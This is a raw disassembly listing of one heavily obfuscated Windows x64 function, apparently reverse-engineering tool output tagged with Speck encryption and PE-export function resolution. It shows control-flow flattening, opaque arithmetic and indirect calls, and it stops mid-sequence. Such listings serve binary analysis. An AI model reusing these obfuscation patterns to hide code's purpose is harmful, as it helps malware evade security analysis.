Function at 0x1400e8370
Capabilities:
Encrypt data using speck
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x6e738b93
pushf
not eax
add eax, 0x390b9daa
xor eax, 0x5a1b195f
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x4c3dd231
xor eax, 0x2b286640
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x6ed73334
xor eax, 0x713e2624
rol eax, 0xc9
popf
cmp eax, 0x12
jne 0x1400e83c0
popf
pop rax
jmp 0x1400e9356
cmp eax, 0xf
jne 0x1400e83cf
popf
pop rax
jmp 0x1400e918b
cmp eax, 0x22
jne 0x1400e83de
popf
pop rax
jmp 0x1400e9ea0
cmp eax, 0x16
jne 0x1400e83ed
popf
pop rax
jmp 0x1400e9540
cmp eax, 0xe
jne 0x1400e83fc
popf
pop rax
jmp 0x1400e910b
cmp eax, 5
jne 0x1400e840b
popf
pop rax
jmp 0x1400e8bcd
cmp eax, 0x1e
jne 0x1400e841a
popf
pop rax
jmp 0x1400e9b9f
cmp eax, 0xb
jne 0x1400e8429
popf
pop rax
jmp 0x1400e8f6f
cmp eax, 0x18
jne 0x1400e8438
popf
pop rax
jmp 0x1400e96bd
cmp eax, 9
jne 0x1400e8447
popf
pop rax
jmp 0x1400e8e87
cmp eax, 7
jne 0x1400e8456
popf
pop rax
jmp 0x1400e8d13
cmp eax, 0x15
jne 0x1400e8465
popf
pop rax
jmp 0x1400e94d7
cmp eax, 0x21
jne 0x1400e8474
popf
pop rax
jmp 0x1400e9e07
cmp eax, 0x10
jne 0x1400e8483
popf
pop rax
jmp 0x1400e924c
cmp eax, 0x1f
jne 0x1400e8492
popf
pop rax
jmp 0x1400e9c4d
cmp eax, 0x23
jne 0x1400e84a1
popf
pop rax
jmp 0x1400e9eda
cmp eax, 0x19
jne 0x1400e84b0
popf
pop rax
jmp 0x1400e97d9
cmp eax, 3
jne 0x1400e84bf
popf
pop rax
jmp 0x1400e8ab5
cmp eax, 0x1c
jne 0x1400e84ce
popf
pop rax
jmp 0x1400e9ab9
cmp eax, 0x17
jne 0x1400e84dd
popf
pop rax
jmp 0x1400e95d5
cmp eax, 0x11
jne 0x1400e84ec
popf
pop rax
jmp 0x1400e9295
cmp eax, 4
jne 0x1400e84fb
popf
pop rax
jmp 0x1400e8af0
cmp eax, 2
jne 0x1400e850a
popf
pop rax
jmp 0x1400e890d
cmp eax, 0x1b
jne 0x1400e8519
popf
pop rax
jmp 0x1400e99f1
cmp eax, 0x20
jne 0x1400e8528
popf
pop rax
jmp 0x1400e9c85
cmp eax, 0xc
jne 0x1400e8537
popf
pop rax
jmp 0x1400e8ffd
cmp eax, 1
jne 0x1400e8546
popf
pop rax
jmp 0x1400e88c3
cmp eax, 0x1a
jne 0x1400e8555
popf
pop rax
jmp 0x1400e9821
cmp eax, 8
jne 0x1400e8564
popf
pop rax
jmp 0x1400e8dc3
cmp eax, 6
jne 0x1400e8573
popf
pop rax
jmp 0x1400e8c63
cmp eax, 0xa
jne 0x1400e8582
popf
pop rax
jmp 0x1400e8ed0
cmp eax, 0
jne 0x1400e8591
popf
pop rax
jmp 0x1400e85cd
cmp eax, 0xd
jne 0x1400e85a0
popf
pop rax
jmp 0x1400e9053
cmp eax, 0x1d
jne 0x1400e85af
popf
pop rax
jmp 0x1400e9b54
cmp eax, 0x14
jne 0x1400e85be
popf
pop rax
jmp 0x1400e9433
cmp eax, 0x13
jne 0x1400e85cd
popf
pop rax
jmp 0x1400e93d5
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
jmp 0x1400e862d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xc8], rdx
lea rax, [rbp + 0x120]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe8], 0x40
mov dword [rbp + 0x60], 0x92b
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x64], 0x324
lea rcx, [rbp + 0x60]
jmp 0x1400e8688
call qword [0x140042130]
xor edx, edx
mov r8d, 0x3e099d41
pushf
not r8d
add r8d, 0x35405ab2
xor r8d, 0x3ec51bf5
rol r8d, 0x78
popf
pushf
not r8d
add r8d, 0x46581d
xor r8d, 0x3b4d00fc
rol r8d, 0x79
popf
pushf
not r8d
add r8d, 0x3c44c936
xor r8d, 0x71924f37
rol r8d, 0x15
popf
pushf
not r8d
add r8d, 0x7dbaa1d2
xor r8d, 0x520dd7cc
rol r8d, 0x52
popf
lea rcx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memset
jmp 0x1400e8705
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0xd8], rax
movsxd rax, dword [rbp + 0x15c]
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xc8], rcx
lea rax, [rsp + 0x58]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe8], 0x108
mov dword [rbp + 0x60], 0x92b
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x64], 0x324
lea rcx, [rbp + 0x60]
jmp 0x1400e8771
call qword [0x140042130]
mov ecx, dword [rbp - 0x18]
push rsi
not rsi
sub rcx, rsi
pop rsi
sub rcx, 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], eax
mov r8d, 0x3f257b93
pushf
not r8d
add r8d, 0x6854c23d
xor r8d, 0x395a1e64
rol r8d, 0xa5
popf
pushf
not r8d
add r8d, 0x350af6db
xor r8d, 0x2b8d710c
rol r8d, 0x55
popf
pushf
not r8d
add r8d, 0x7382467
xor r8d, 0x3dd4054c
rol r8d, 2
popf
pushf
not r8d
add r8d, 0x1025e30f
xor r8d, 0x1a9c2538
rol r8d, 0xfd
popf
lea rdx, [rbp + 0x70]
call fcn.1400e7d95
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x60], xmm0
mov ebx, dword [rbp + 0x80]
xor r15d, r15d
mov r14d, r15d
mov dword [rsp + 0x20], r15d
psrldq xmm0, 8
movq rax, xmm0
shr rax, 0x20
test eax, eax
je 0x1400e8890
push rax
pushf
mov eax, 0xec43fff8
pushf
not eax
add eax, 0x780242ff
xor eax, 0x5b1943e1
rol eax, 0x18
popf
pushf
not eax
add eax, 0x72e31d2c
xor eax, 0x5f25559d
rol eax, 0x46
popf
pushf
not eax
add eax, 0xac1e58a
xor eax, 0x2226d3ab
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x6f5882b1
xor eax, 0x4f60c927
rol eax, 0x97
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x88e34983
pushf
not eax
add eax, 0x37de8771
xor eax, 0x4a156c0d
rol eax, 0x57
popf
pushf
not eax
add eax, 0x4abc684
xor eax, 0x147b4f5b
rol eax, 0xaf
popf
jmp 0x1400e83b1
nop dword [rax]
push rax
pushf
mov eax, 0x5600b311
pushf
not eax
add eax, 0x211cbe13
xor eax, 0x4099725
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x7e9bf6bd
xor eax, 0x3a35bac2
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x57c52862
xor eax, 0x487dbfac
rol eax, 0x88
popf
jmp 0x1400e83b1
mov qword [rbp + 0x100], r15
jmp 0x1400e8915
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0xd8], rax
mov eax, ebx
mov qword [rsp + 0x40], rax
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
mov qword [rsp + 0x30], rax
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xc8], rcx
lea rax, [rbp + 0x100]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe8], 8
mov dword [rbp + 0x88], 0x92b
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x90], rax
mov dword [rbp + 0x8c], 0x324
lea rcx, [rbp + 0x88]
jmp 0x1400e8994
call qword [0x140042130]
mov qword [rbp + 0xf0], r15
jmp 0x1400e89a2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0xd8], rax
mov eax, dword [rbp + 0x60]
mov qword [rbp + 0x60], rax
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xc8], rcx
lea rax, [rbp + 0xf0]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe8], 8
mov dword [rbp + 0x98], 0x92b
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0x9c], 0x324
lea rcx, [rbp + 0x98]
jmp 0x1400e8a1c
call qword [0x140042130]
mov rbx, qword [rbp + 0xf0]
mov edi, r15d
mov dword [rbp + 0xf0], r15d
test rbx, rbx
je 0x1400e8a82
push rax
pushf
mov eax, 0x21c2c4cf
pushf
not eax
add eax, 0xa083580
xor eax, 0x19016978
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x538ff8b9
xor eax, 0x5f5d255e
rol eax, 0xb
popf
pushf
not eax
add eax, 0x2ce5a3bb
xor eax, 0x7057950c
rol eax, 0x23
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x5d916f5e
pushf
not eax
add eax, 0x72f5f818
xor eax, 0x6b3113d2
rol eax, 0xee
popf
pushf
not eax
add eax, 0x7d73a473
xor eax, 0x169884dd
rol eax, 0x57
popf
jmp 0x1400e83b1
mov qword [rsp + 0x28], r15
nop
push rax
pushf
mov eax, 0x797d502b
pushf
not eax
add eax, 0x179d5fc9
xor eax, 0x48f5e552
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x491b87f
xor eax, 0x926c317
rol eax, 0xc6
popf
jmp 0x1400e83b1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0x130], rax
lea rax, [rbx + 2]
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x120], rcx
lea rax, [rbp + 0x160]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x140], 0x100
mov dword [rbp + 0xa8], 0x92b
lea rax, [rbp + 0x120]
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xac], 0x324
lea rcx, [rbp + 0xa8]
jmp 0x1400e8b67
call qword [0x140042130]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], r15
lea rax, [rbp + 0x160]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0xb6e9b57e
pushf
not eax
add eax, 0x7b7e3366
xor eax, 0x51cc303e
rol eax, 0x17
popf
pushf
not eax
add eax, 0x6b8ec1b4
xor eax, 0x7ece158d
rol eax, 0xf
popf
jmp 0x1400e83b1
inc r8
cmp byte [rax + r8], 0
jne 0x1400e8c1d
push rax
pushf
mov eax, 0xd64d2feb
pushf
not eax
add eax, 0x4d026734
xor eax, 0x52b3ad3c
rol eax, 0x43
popf
pushf
not eax
add eax, 0x602ca39c
xor eax, 0x48fc242a
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x6156bdf7
xor eax, 0x23d0c80e
rol eax, 0x68
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x46b97cd
pushf
not eax
add eax, 0x5f63d139
xor eax, 0x7d673c8e
rol eax, 0xc
popf
pushf
not eax
add eax, 0x66b4cb12
xor eax, 0x64b8668b
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x47cb4331
xor eax, 0x48e961ff
rol eax, 0x24
popf
jmp 0x1400e83b1
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xc8]
call fcn.140080330
nop
mov rsi, qword [rbp + 0xd8]
test rsi, rsi
je 0x1400e8ce0
push rax
pushf
mov eax, 0x46682864
pushf
not eax
add eax, 0x1bfbd9a6
xor eax, 0x4cb00d5d
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x7184591b
xor eax, 0x261ec409
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xed21dcc
xor eax, 0x49df91d2
rol eax, 0x31
popf
pushf
not eax
add eax, 0x722cc991
xor eax, 0x2163b378
rol eax, 9
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xa6a81901
pushf
not eax
add eax, 0x7434e2d2
xor eax, 0x3cd870ea
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x525a91f5
xor eax, 0x7ace4c2b
rol eax, 0x74
popf
jmp 0x1400e83b1
mov rax, qword [0x1400420e0]
mov qword [rbp + 0x100], rax
mov rbx, qword [rax + 8]
mov qword [rbp + 0x120], rbx
mov dword [rbp + 0x128], r15d
mov r14, rax
mov r12, qword [rbp + 0xe0]
mov r13, qword [rbp + 0xc8]
cmp byte [rbx + 0x19], 0
jne 0x1400e8d7d
push rax
pushf
mov eax, 0xbde1b6d0
pushf
not eax
add eax, 0x26d713a6
xor eax, 0x4118721f
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x73c6b7bb
xor eax, 0x23774e44
rol eax, 0x4b
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x1dba7a38
pushf
not eax
add eax, 0x42fde712
xor eax, 0x7a12b31b
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x5f99fd56
xor eax, 0x677fa3e6
rol eax, 0x11
popf
pushf
not eax
add eax, 0x31fd9c7d
xor eax, 0x3d1c3d33
rol eax, 0x57
popf
jmp 0x1400e83b1
mov qword [rbp + 0x120], rbx
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 0xc8]
cmp r12, 0xf
cmova rdx, r13
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400e8e2e
push rax
pushf
mov eax, 0x63e000
pushf
not eax
add eax, 0x216e2ae9
xor eax, 0xf6aae80
rol eax, 9
popf
pushf
not eax
add eax, 0x39c4b11a
xor eax, 0x36761dff
rol eax, 0x51
popf
pushf
not eax
add eax, 0x6f71d4a4
xor eax, 0x54ed5189
rol eax, 0xc3
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x56fb4570
pushf
not eax
add eax, 0x4f59d969
xor eax, 0x77e3bab7
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x3544d72f
xor eax, 0x27b136b4
rol eax, 0x69
popf
pushf
not eax
add eax, 0x5d7f04c
xor eax, 0x1ddd703c
rol eax, 0x34
popf
pushf
not eax
add eax, 0x6889b98f
xor eax, 0x49d27e26
rol eax, 0x49
popf
jmp 0x1400e83b1
mov rcx, qword [rcx]
push rax
pushf
mov eax, 0x2ae8eaeb
pushf
not eax
add eax, 0x6810b5ba
xor eax, 0x68e9b59c
rol eax, 0x32
popf
pushf
not eax
add eax, 0x345960bd
xor eax, 0x1a1fbb43
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x759bbb7b
xor eax, 0x74f37caf
rol eax, 0xf
popf
jmp 0x1400e83b1
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400e8f16
push rax
pushf
mov eax, 0x4a80c05b
pushf
not eax
add eax, 0x3020de33
xor eax, 0x47159fd6
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x2046dc2e
xor eax, 0x7420cf18
rol eax, 0x8f
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xd62920ca
pushf
not eax
add eax, 0x34ff862e
xor eax, 0x7444d12
rol eax, 0xab
popf
pushf
not eax
add eax, 0x4ccdedac
xor eax, 0x5f91b0bf
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x2ab49b41
xor eax, 0xdfd2a27
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x6843f547
xor eax, 0x365fe2f5
rol eax, 0xb9
popf
jmp 0x1400e83b1
js 0x1400e8fca
push rax
pushf
mov eax, 0xc98ecec7
pushf
not eax
add eax, 0x4fb9b6b8
xor eax, 0x7a5d9432
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x51ee14b1
xor eax, 0x35758106
rol eax, 0x55
popf
pushf
not eax
add eax, 0x7cb64a1e
xor eax, 0x2ab850a3
rol eax, 0xea
popf
pushf
not eax
add eax, 0x5449d427
xor eax, 0x7818166a
rol eax, 0x2a
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xbda75913
pushf
not eax
add eax, 0x5173396e
xor eax, 0x26ca8d7b
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x5cfa968
xor eax, 0x3369f4e1
rol eax, 0x2b
popf
jmp 0x1400e83b1
mov dword [rbp + 0x128], 1
mov r14, rbx
mov rbx, qword [rbx]
push rax
pushf
mov eax, 0x4a34dfc1
pushf
not eax
add eax, 0x224e63de
xor eax, 0x230efc47
rol eax, 0x28
popf
pushf
not eax
add eax, 0x6ea021a0
xor eax, 0x1b6b1899
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x17662948
xor eax, 0x42a15674
rol eax, 0x78
popf
jmp 0x1400e83b1
cmp byte [rbx + 0x19], 0
je 0x1400e90b2
push rax
pushf
mov eax, 0x3c4c3f8e
pushf
not eax
add eax, 0x4f33a3cf
xor eax, 0x8a0ce6
rol eax, 0x71
popf
pushf
not eax
add eax, 0x178dd68f
xor eax, 0x61f189a6
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x7cb63add
xor eax, 0x56df3870
rol eax, 0x23
popf
pushf
not eax
add eax, 0x692895
xor eax, 0x2df29732
rol eax, 0x59
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x2081307e
pushf
not eax
add eax, 0x6b25550e
xor eax, 0xedc1ff9
rol eax, 0x93
popf
pushf
not eax
add eax, 0x733eb2e5
xor eax, 0x2dfb3ec6
rol eax, 0xad
popf
pushf
not eax
add eax, 0x86da3e2
xor eax, 0x57082156
rol eax, 0x18
popf
pushf
not eax
add eax, 0xf397394
xor eax, 0x49d43ac6
rol eax, 0xce
popf
jmp 0x1400e83b1
cmp byte [r14 + 0x19], 0
jne 0x1400e9158
push rax
pushf
mov eax, 0x13531566
pushf
not eax
add eax, 0xdbcf61b
xor eax, 0x7ca2be9d
rol eax, 0x49
popf
pushf
not eax
add eax, 0x1c400081
xor eax, 0x28c13674
rol eax, 0x54
popf
pushf
not eax
add eax, 0x25037dab
xor eax, 0x7568a981
rol eax, 0x2b
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x5ff9e57a
pushf
not eax
add eax, 0x1ba51b3
xor eax, 0x1174b62e
rol eax, 0x91
popf
pushf
not eax
add eax, 0x712f4b55
xor eax, 0x3d01e9e0
rol eax, 0x41
popf
jmp 0x1400e83b1
lea rdx, [r14 + 0x20]
mov rbx, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400e91f3
push rax
pushf
mov eax, 0xc75ab8df
pushf
not eax
add eax, 0x463d36a9
xor eax, 0x2f0405e4
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x545bcb92
xor eax, 0x83a342e
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x62eefb5b
xor eax, 0x33d8ee21
rol eax, 0x64
popf
pushf
not eax
add eax, 0x1f1f96e8
xor eax, 0x4376e3b7
rol eax, 0xa
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xed45b3bd
pushf
not eax
add eax, 0x467e35c4
xor eax, 0x40f302a4
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x1ec27cbf
xor eax, 0x6b9d19f6
rol eax, 0x11
popf
pushf
not eax
add eax, 0xb0f5621
xor eax, 0x4d43781
rol eax, 0x33
popf
pushf
not eax
add eax, 0x4e23175c
xor eax, 0x31719ce3
rol eax, 0x62
popf
jmp 0x1400e83b1
mov rdx, qword [rdx]
push rax
pushf
mov eax, 0x9d312a24
pushf
not eax
add eax, 0x69843869
xor eax, 0x19ad61f2
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x46b7de0f
xor eax, 0x569b1e90
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x4b8b2f00
xor eax, 0xb734f4c
rol eax, 0x24
popf
jmp 0x1400e83b1
lea rcx, [rbp + 0xc8]
cmp r12, 0xf
cmova rcx, r13
mov r8, rsi
cmp rbx, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400e9310
push rax
pushf
mov eax, 0x1ab4e5d2
pushf
not eax
add eax, 0x3ed1bd9a
xor eax, 0x603df833
rol eax, 0x98
popf
pushf
not eax
add eax, 0x7fcd2564
xor eax, 0x226f97bf
rol eax, 8
popf
pushf
not eax
add eax, 0x3b5a5a28
xor eax, 0x4e90cc40
rol eax, 0x34
popf
pushf
not eax
add eax, 0x79e32cfe
xor eax, 0x5441879d
rol eax, 0x8b
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xf871e719
pushf
not eax
add eax, 0x38d6c5be
xor eax, 0x702168c4
rol eax, 0x12
popf
pushf
not eax
add eax, 0x34d6346
xor eax, 0x516625e9
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x311f83f6
xor eax, 0x29815954
rol eax, 8
popf
jmp 0x1400e83b1
jns 0x1400e938f
push rax
pushf
mov eax, 0x6ae0cbb0
pushf
not eax
add eax, 0x5d1b6cfe
xor eax, 0x76eca467
rol eax, 0x40
popf
pushf
not eax
add eax, 0x184320bf
xor eax, 0x536d1b90
rol eax, 0x42
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x681a325e
pushf
not eax
add eax, 0x1a2e134b
xor eax, 0x5d34a2d9
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x713a7940
xor eax, 0x52bfb13e
rol eax, 0x82
popf
pushf
not eax
add eax, 0x2d415e60
xor eax, 0x64f5bd3c
rol eax, 0x54
popf
jmp 0x1400e83b1
jmp 0x1400e95d5
cmp rdi, rsi
jae 0x1400e9491
push rax
pushf
mov eax, 0xbb06e167
pushf
not eax
add eax, 0x1b30a844
xor eax, 0x1c2fa1db
rol eax, 8
popf
pushf
not eax
add eax, 0x6a2a6991
xor eax, 0x7bdb736e
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x230a107b
xor eax, 0x6c7a8cd6
rol eax, 0x87
popf
pushf
not eax
add eax, 0x65fb9819
xor eax, 0x18775a11
rol eax, 0x46
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x2969adcb
pushf
not eax
add eax, 0x4d5c18aa
xor eax, 0x47f0d6f6
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x7eb32749
xor eax, 0x6615336f
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x5704b658
xor eax, 0x3fc5ed0a
rol eax, 0xf6
popf
jmp 0x1400e83b1
mov dword [rbp + 0x128], r15d
mov rbx, qword [rbx + 0x10]
jmp 0x1400e9053
cmp rsi, rbx
jae 0x1400e95a2
push rax
pushf
mov eax, 0x3e8bb438
pushf
not eax
add eax, 0x6a1e5fd4
xor eax, 0x9be9167
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x23e0ea30
xor eax, 0x1579bbf3
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x6991d1a6
xor eax, 0x6b7b8d9a
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x540c4f6e
xor eax, 0x53c5b198
rol eax, 0x57
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x2776c796
pushf
not eax
add eax, 0x52890b5d
xor eax, 0x2b064409
rol eax, 0x31
popf
pushf
not eax
add eax, 0x34efbae1
xor eax, 0x2551bb28
rol eax, 0x7c
popf
jmp 0x1400e83b1
movabs rax, 0x41ef41dc0778dc9d
pushf
not rax
add rax, 0x132cf6f2
xor rax, 0x718e672a
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x6037ecbf
xor rax, 0x782746ff
rol rax, 0xdd
popf
pushf
not rax
add rax, 0x593f1de1
xor rax, 0x77d9981b
rol rax, 0x50
popf
cmp qword [0x1400420e8], rax
je 0x1400e9664
push rax
pushf
mov eax, 0x2fadd108
pushf
not eax
add eax, 0x60219a1d
xor eax, 0x5e45f9f2
rol eax, 0x65
popf
pushf
not eax
add eax, 0x249117c2
xor eax, 0x5dcae2f4
rol eax, 0x78
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0x82472aee
pushf
not eax
add eax, 0x318e610d
xor eax, 0x53d81fb0
rol eax, 8
popf
pushf
not eax
add eax, 0x8a1c0b1
xor eax, 0x7bdd660e
rol eax, 0x48
popf
pushf
not eax
add eax, 0x20a24d02
xor eax, 0x5d97f892
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x7af26d1f
xor eax, 0x33754661
rol eax, 0x88
popf
jmp 0x1400e83b1
lea r12, [0x1844421b3]
pushf
sub r12, 0x444000d3
popf
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r15
mov ecx, 0xb8c2c534
pushf
not ecx
add ecx, 0x79fb2ae9
xor ecx, 0x62f64476
rol ecx, 0x1b
popf
pushf
not ecx
add ecx, 0x10f10a0b
xor ecx, 0x6e4564f8
rol ecx, 0x86
popf
pushf
not ecx
add ecx, 0xd7a74a1
xor ecx, 0xa08ba81
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0x53f400a7
xor ecx, 0x6855b0d5
rol ecx, 0x24
popf
call fcn.1400ff3b2
mov rdi, rax
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rax + 0x20]
call fcn.14009eb5a
mov qword [rdi + 0x40], r15
mov rax, qword [rbp + 0x100]
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov word [rdi + 0x18], 0
mov qword [rsp + 0x50], r15
movups xmm0, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x100], xmm0
mov r8, rdi
lea rdx, [rbp + 0x100]
mov rcx, r12
call fcn.1400f8990
mov r14, rax
push rax
pushf
mov eax, 0xcb3b7ba3
pushf
not eax
add eax, 0x467ccb96
xor eax, 0x4b1b71b2
rol eax, 0x85
popf
pushf
not eax
add eax, 0x7fa3ca0a
xor eax, 0x30a96b17
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x3497b1f0
xor eax, 0x3ebe9dab
rol eax, 0x2c
popf
jmp 0x1400e83b1
mov rax, qword [rsp + 0x28]
add rax, qword [rsp + 0x30]
mov qword [r14 + 0x40], rax
mov edi, dword [rbp + 0xf0]
push rax
pushf
mov eax, 0xc44d46e5
pushf
not eax
add eax, 0x655eff4
xor eax, 0x3e79c10b
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x3a5d00a9
xor eax, 0x397d727b
rol eax, 0xed
popf
jmp 0x1400e83b1
inc edi
mov dword [rbp + 0xf0], edi
mov qword [rbp + 0x100], r15
jmp 0x1400e9831
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0x130], rax
movsxd rdi, edi
shl rdi, 3
mov qword [rsp + 0x28], rdi
mov rsi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
push rdi
not rdi
sub rax, rdi
pop rdi
sub rax, 1
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x120], rcx
lea rax, [rbp + 0x100]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x140], 8
mov dword [rbp + 0xb8], 0x92b
lea rax, [rbp + 0x120]
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xbc], 0x324
lea rcx, [rbp + 0xb8]
jmp 0x1400e98c6
call qword [0x140042130]
mov qword [rbp + 0x100], r15
jmp 0x1400e98d4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movsxd rax, dword [0x140042030]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x60]
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
push rdi
not rdi
sub rax, rdi
pop rdi
sub rax, 1
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x120], rcx
lea rax, [rbp + 0x100]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x140], 8
mov dword [rbp + 0x70], 0x92b
lea rax, [rbp + 0x120]
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x74], 0x324
lea rcx, [rbp + 0x70]
jmp 0x1400e994b
call qword [0x140042130]
mov rbx, qword [rbp + 0x100]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400e9998
push rax
pushf
mov eax, 0x465e2866
pushf
not eax
add eax, 0x72daa0ac
xor eax, 0x30d4d2dc
rol eax, 0x57
popf
pushf
not eax
add eax, 0x71b1aa63
xor eax, 0x25233a0d
rol eax, 0x56
popf
jmp 0x1400e83b1
push rax
pushf
mov eax, 0xbe36e5d
pushf
not eax
add eax, 0x294ec07b
xor eax, 0x3a8f80d8
rol eax, 0xf0
popf
pushf
not eax
